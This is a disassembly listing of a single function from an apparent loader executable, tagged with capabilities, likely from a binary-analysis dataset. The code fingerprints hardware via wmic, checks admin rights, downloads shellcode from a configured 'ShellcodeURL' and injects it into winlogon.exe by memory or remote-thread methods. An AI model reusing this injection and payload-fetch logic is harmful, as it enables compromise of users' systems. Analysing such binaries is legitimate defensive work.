Function at 0x1400229f0
Capabilities:
Delete file
Get token membership

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x568]
sub rsp, 0x640
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140119740]
xor rax, rsp
mov qword [rbp + 0x520], rax
xor esi, esi
mov dword [rsp + 0x60], esi
lea rcx, str.main
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBegin]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
nop
xor edx, edx
lea rcx, [rbp - 0x48]
call sym.Loader.exe_public:_void___cdecl_Json::Value::constructor_enum_Json::ValueType____ptr64
nop
mov rbx, qword [0x14011cfc8]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea r8d, [rsi + 0x1c]
lea rdx, str.GlobalSharedMemory_IX9_0002
lea rcx, [rbp]
call fcn.140004740
lea r8, [rbp]
mov rcx, rbx
call fcn.14000ff70
mov dword [rsp + 0x60], esi
mov dword [rbp + 0x20], esi
mov word [rbp + 0x24], 0x500
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8d, [rsi + 0x12]
mov dl, 1
lea rcx, [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140022aee
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], 0
jne 0x140022d35
lea rcx, [rbp + 0x88]
call fcn.14001fd20
nop
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x310]
call fcn.1400dc620
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], si
mov dword [rsp + 0x60], 4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x104
lea r8, [rbp + 0x310]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
lea rax, [rbp + 0x310]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x140022b74
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x48]
call fcn.1400081f0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 7
cmova rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 7
cmova rcx, qword [rbp + 0x88]
xor r8d, r8d
call fcn.140002180
mov edi, eax
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x140022bfe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022bf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247ee
call fcn.1400ab300
test edi, edi
jne 0x140022c57
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 7
cmova rdx, qword [rbp + 0x88]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
nop dword [rax + rax]
inc rbx
cmp word [rdx + rbx*2], 0
jne 0x140022c30
mov r8, rbx
lea rcx, [rbp]
call fcn.140004740
lea rcx, [rbp]
call fcn.140003220
test eax, eax
je 0x140022ce7
mov r8d, 0x66
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x78]
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140022cd4
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ccf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247f4
call fcn.1400ab300
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 7
jbe 0x14002477a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024774
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247ca
jmp 0x140024774
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
movdqa xmm6, xmmword [0x1400ff560]
movdqu xmmword [rbp + 0x178], xmm6
mov byte [rbp + 0x168], 0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.wmic_csproduct_get_uuid
lea rcx, [rbp]
call fcn.140004740
lea rdx, [rbp]
lea rcx, [rbp - 0x20]
call fcn.14000b720
nop
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x28]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.14000b3d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
mov r12, rsi
mov qword [rbp + 0x138], rsi
mov r13d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x140], r13
mov byte [rbp + 0x128], r12b
mov rax, qword [rbp - 0x80]
mov rdx, qword [rsp + 0x78]
sub rax, rdx
sar rax, 5
cmp rax, 1
jbe 0x140022e16
add rdx, 0x20
lea rax, [rbp + 0x128]
cmp rax, rdx
je 0x140022e16
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], r13
jbe 0x140022dfc
mov rdx, qword [rdx]
lea rcx, [rbp + 0x128]
call fcn.140026910
mov r13, qword [rbp + 0x140]
mov r12, qword [rbp + 0x138]
call fcn.14000b060
mov r8d, esi
test eax, eax
cmovns r8d, eax
lea r9, [rbp + 0x302]
test r8d, r8d
jns 0x140022e80
neg r8d
nop dword [rax]
nop word [rax + rax]
sub r9, 2
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8d, edx
test edx, edx
jne 0x140022e40
add r9, 0xfffffffffffffffe
mov word [r9], reloc.WLDAP32.dll_Ordinal_45
jmp 0x140022eb0
sub r9, 2
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8d, edx
test edx, edx
jne 0x140022e80
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
lea rax, [rbp + 0x302]
cmp r9, rax
jne 0x140022eea
movdqa xmm0, xmmword [0x1400ff550]
movdqu xmmword [rbp + 0x118], xmm0
mov word [rbp + 0x108], si
jmp 0x140022f06
lea r8, [rbp + 0x302]
sub r8, r9
sar r8, 1
mov rdx, r9
lea rcx, [rbp + 0x108]
call fcn.140004740
mov r15d, Ordinal_50
mov r8, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
sub rax, r8
lea r14d, [r15 - 0x15]
cmp rax, r14
jb 0x140022fce
lea rax, [r8 + 0x1b]
mov qword [rbp + 0x118], rax
lea rdi, [rbp + 0x108]
cmp rcx, 7
cmova rdi, qword [rbp + 0x108]
lea rax, [0x1400ff23e]
lea rcx, str.wmic_diskdrive_where_index
cmp rax, rdi
jbe 0x140022f77
lea rax, [rdi + r8*2]
cmp rcx, rax
ja 0x140022f77
cmp rdi, rcx
jbe 0x140022f7a
mov rsi, rdi
sub rsi, rcx
sar rsi, 1
jmp 0x140022f7a
mov rsi, r14
lea rcx, [rdi + 0x36]
lea r8, [r8*2 + 2]
mov rdx, rdi
call fcn.1400dbf80
lea rbx, [rsi + rsi]
mov r8, rbx
lea rdx, str.wmic_diskdrive_where_index
mov rcx, rdi
call fcn.1400dbf80
lea rdx, str.wmic_diskdrive_where_index
lea rdx, [rdx + 0x36]
lea rdx, [rdx + rsi*2]
lea rcx, [rdi + rbx]
sub r14, rsi
lea r8, [r14 + r14]
call fcn.1400dbf80
lea rax, [rbp + 0x108]
xor esi, esi
jmp 0x140022fe2
mov qword [rsp + 0x28], r14
mov rdx, r14
lea rcx, [rbp + 0x108]
call fcn.140028e10
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
or r15d, 0x40
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str._get_serialnumber
lea rcx, [rbp + 0x88]
call fcn.1400059e0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
bts r15d, 7
lea rdx, [rbp]
lea rcx, [rbp + 0xa8]
call fcn.14000b720
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 7
jbe 0x1400230c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400230bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247fa
call fcn.1400ab300
movdqa xmm0, xmmword [0x1400ff550]
movdqu xmmword [rbp + 0x98], xmm0
mov word [rbp + 0x88], si
mov rdx, qword [rbp + 0x120]
cmp rdx, 7
jbe 0x14002311e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024800
call fcn.1400ab300
movdqa xmm0, xmmword [0x1400ff550]
movdqu xmmword [rbp + 0x118], xmm0
mov word [rbp + 0x108], si
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
cmp rcx, rdx
je 0x140023156
lea r8, [rsp + 0x78]
call fcn.14000d1a0
mov rax, qword [rsp + 0x78]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x28]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.14000b3d0
mov rbx, rax
lea rax, [rsp + 0x78]
cmp rax, rbx
je 0x140023205
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400231e2
lea r8, [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
call fcn.14000d1a0
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rsp + 0x78]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400231d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024806
call fcn.1400ab300
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rsi
mov rax, qword [rbx]
mov qword [rsp + 0x78], rax
mov rax, qword [rbx + 8]
mov qword [rbp - 0x80], rax
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x78], rax
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
lea rcx, [rbp + 0x68]
call fcn.14000c990
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov rbx, rsi
mov qword [rbp + 0xd8], rbx
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xe0], rdi
mov byte [rbp + 0xc8], 0
mov rax, qword [rbp - 0x80]
mov rdx, qword [rsp + 0x78]
sub rax, rdx
sar rax, 5
cmp rax, 1
jbe 0x140023282
add rdx, 0x20
lea rax, [rbp + 0xc8]
cmp rax, rdx
je 0x140023282
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], rdi
jbe 0x140023268
mov rdx, qword [rdx]
lea rcx, [rbp + 0xc8]
call fcn.140026910
mov rdi, qword [rbp + 0xe0]
mov rbx, qword [rbp + 0xd8]
lea rax, [rbp + 0xc8]
mov rsi, qword [rbp + 0xc8]
cmp rdi, 0xf
cmova rax, rsi
cmp byte [rbx + rax - 1], 0x2e
jne 0x1400232db
lea rcx, [rbx - 1]
cmp rbx, rcx
jb 0x14002480c
lea rax, [rbp + 0xc8]
cmp rdi, 0xf
cmova rax, rsi
mov qword [rbp + 0xd8], rcx
mov byte [rax + rcx], 0
mov rdi, qword [rbp + 0xe0]
mov rbx, qword [rbp + 0xd8]
mov rsi, qword [rbp + 0xc8]
movabs rax, 0x7fffffffffffffff
sub rax, r12
cmp rax, 1
jb 0x140024812
lea r9, [rbp + 0x128]
cmp r13, 0xf
cmova r9, qword [rbp + 0x128]
mov qword [rsp + 0x30], 1
lea rax, reloc.WLDAP32.dll_Ordinal_35
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea rcx, [rbp + 0x28]
call fcn.140028780
bts r15d, 8
lea rdx, [rbp + 0xc8]
cmp rdi, 0xf
cmova rdx, rsi
mov r8, rbx
lea rcx, [rbp + 0x28]
call fcn.140004210
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xor r12d, r12d
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r12b
bts r15d, 9
mov dword [rsp + 0x60], r15d
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x1400233bd
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400233b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024818
call fcn.1400ab300
movdqa xmm0, xmmword [0x1400ff560]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
mov r9b, 1
mov r8, qword [rbp + 0x58]
lea rcx, [rbp]
call fcn.14000ac80
mov rbx, rax
lea rax, [rbp + 0x168]
cmp rax, rbx
je 0x140023463
psrldq xmm6, 8
movq rdx, xmm6
cmp rdx, 0xf
jbe 0x14002343f
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002343a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002481e
call fcn.1400ab300
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x178], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14002349f
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002481e
call fcn.1400ab300
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x1400234da
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400234d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024824
call fcn.1400ab300
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14002352c
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023526
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002482a
call fcn.1400ab300
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14002356e
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023568
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024830
call fcn.1400ab300
nop
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x1400235b0
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400235aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024836
call fcn.1400ab300
nop
lea rcx, [rsp + 0x78]
call fcn.14000c990
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400235f6
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400235f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002483c
call fcn.1400ab300
lea rdx, [rbp + 0x168]
lea rcx, [rbp - 0x20]
call fcn.1400040d0
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.140020180
nop
cmp qword [rbp + 0x158], 0
jne 0x14002369f
mov r8d, 0x64
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400246e2
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023740
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247d0
jmp 0x140023740
lea rdx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0xf
cmova rdx, qword [rbp + 0x148]
mov r8d, dword [rbp + 0x158]
call fcn.14001ef70
test al, al
jne 0x14002374a
mov r8d, 0x65
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400246e2
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023740
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024842
call fcn.1400ab300
jmp 0x1400246e2
lea rcx, [rbp + 0x200]
call fcn.14000e1e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
mov r8d, Ordinal_30
lea rdx, str.GlobalSharedMemory_IX9_0001
lea rcx, [rbp + 0x28]
call fcn.140004740
lea r8, [rbp + 0x28]
lea rcx, [rbp + 0x200]
call fcn.14000ff70
test eax, eax
jne 0x14002380d
lea r8d, [rax + 4]
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400246d5
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400246cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247d6
jmp 0x1400246cf
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
mov r8d, Ordinal_30
lea rdx, str.GlobalSharedMemory_IX9_0000
lea rcx, [rbp + 0x28]
call fcn.140004740
lea r8, [rbp + 0x28]
lea rcx, [rbp + 0x200]
call fcn.14000ff70
test eax, eax
jne 0x1400238c3
lea r8d, [rax + 3]
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400246d5
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400246cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247dc
jmp 0x1400246cf
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], r12
mov r8d, Ordinal_30
lea rdx, str.GlobalSharedMemory_IX9_0000
lea rcx, [rbp + 0x88]
call fcn.140004740
lea rax, [rbp + 0x88]
mov qword [rsp + 0x70], rax
mov dword [rbp + 0x20], 0xff8
mov byte [rbp + 0x1d0], 0
mov dword [rbp + 0x1a8], r12d
lea rax, [rbp + 0x20]
mov qword [rbp + 0x1b0], rax
lea rax, [rbp + 0x88]
mov qword [rbp + 0x1b8], rax
lea rcx, [rbp + 0x238]
call fcn.1400a9c30
test eax, eax
jne 0x140024848
cmp dword [rbp + 0x284], 0x7fffffff
je 0x140024853
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x210]
call fcn.140010180
lea rcx, [rbp + 0x238]
call fcn.1400a9c38
movzx eax, byte [rbp + 0x1d0]
test al, al
jne 0x1400239a6
nop word [rax + rax]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [rbp + 0x1d0]
test al, al
je 0x140023990
mov rdx, qword [rbp + 0xa0]
cmp rdx, 7
jbe 0x1400239ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400239e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024868
call fcn.1400ab300
lea r8, str.inject_way
lea rdx, [rbp + 0xa8]
call fcn.14001f340
mov r8, rax
mov edi, dword [rsp + 0x60]
or edi, 1
mov dword [rsp + 0x60], edi
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023a1b
mov r8, qword [rax]
lea rsi, str.remote_thread
lea rbx, str.memory
cmp rdx, 6
jne 0x140023a4e
mov rcx, rbx
sub r8, rbx
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140023a4e
add rcx, 2
sub rdx, 1
jne 0x140023a35
mov r14b, 1
jmp 0x140023aa1
lea r8, str.inject_way
lea rdx, [rbp + 0x28]
call fcn.14001f340
mov r8, rax
or edi, 2
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023a72
mov r8, qword [rax]
lea rsi, str.remote_thread
cmp rdx, 0xd
jne 0x140023a9e
mov rcx, rsi
sub r8, rsi
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x140023a9e
add rcx, 2
sub rdx, 1
jne 0x140023a85
mov r14b, 1
jmp 0x140023aa1
xor r14b, r14b
test dil, 2
je 0x140023afc
and edi, 0xfffffffd
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140023aea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023ae5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002486e
call fcn.1400ab300
movdqa xmm0, xmmword [0x1400ff550]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r12w
test dil, 1
je 0x140023b48
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x140023b48
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023b43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024874
call fcn.1400ab300
test r14b, r14b
je 0x1400240ec
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
lea r8, str.ShellcodeURL
lea rdx, [rbp - 0x20]
call fcn.14001f340
nop
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.1400058c0
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.140022620
movzx edi, al
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140023bd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023bd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002487a
call fcn.1400ab300
test dil, dil
jne 0x140023cb3
mov r8d, WSAGetLastError
lea rcx, [rbp - 0x70]
call fcn.14001f530
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14001ee00
nop
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x78]
mov rcx, qword [0x14011cfc8]
call fcn.1400100c0
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140023c5d
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023c58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024880
call fcn.1400ab300
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x1400246d5
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400246cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400247e2
jmp 0x1400246cf
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
mov r8d, recv
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x28]
call fcn.140004740
lea rcx, [rbp + 0x28]
call fcn.14000df20
mov edi, eax
lea r8, str.inject_way
lea rdx, [rbp - 0x20]
call fcn.14001f340
mov rdx, rax
mov rcx, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140023d04
mov rdx, qword [rax]
cmp rcx, 6
jne 0x140023d27
sub rdx, rbx
nop dword [rax]
movzx eax, word [rbx + rdx]
